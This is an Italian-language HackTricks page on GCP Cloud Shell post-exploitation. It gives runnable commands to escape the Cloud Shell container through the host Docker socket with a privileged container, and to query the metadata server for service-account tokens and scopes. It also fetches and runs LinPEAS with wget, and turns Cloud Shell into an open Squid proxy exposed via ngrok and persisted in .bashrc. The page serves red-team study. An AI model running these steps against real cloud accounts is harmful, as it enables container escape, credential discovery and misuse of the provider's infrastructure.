GCP - Cloud Shell Post Exploitation

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Cloud Shell

Per ulteriori informazioni su Cloud Shell, controlla:

pageGCP - Cloud Shell Enum

Fuga dal Container

Nota che il Google Cloud Shell viene eseguito all'interno di un container, puoi uscire facilmente verso l'host facendo:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Questo non è considerato una vulnerabilità da parte di Google, ma ti offre una visione più ampia di ciò che sta accadendo in quell'ambiente.

Inoltre, nota che dall'host puoi trovare un token dell'account di servizio:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Con i seguenti ambiti:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerare i metadati con LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Dopo aver utilizzato https://github.com/carlospolop/bf_my_gcp_permissions con il token del Service Account nessuna autorizzazione è stata scoperta...

Utilizzalo come Proxy

Se desideri utilizzare la tua istanza di Google Cloud Shell come proxy, devi eseguire i seguenti comandi (o inserirli nel file .bashrc):

sudo apt install -y squid

Solo per farti sapere, Squid è un server proxy HTTP. Crea un file squid.conf con le seguenti impostazioni:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copia il file squid.conf in /etc/squid

sudo cp squid.conf /etc/squid

Infine, avvia il servizio squid:

sudo service squid start

Usa ngrok per rendere il proxy accessibile dall'esterno:

./ngrok tcp 3128

Dopo aver eseguito, copia l'URL tcp://. Se desideri eseguire il proxy da un browser, è consigliato rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni del proxy del tuo browser (squid è un server proxy http).

Per un uso migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Controlla quella pagina per altre idee folli su come eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated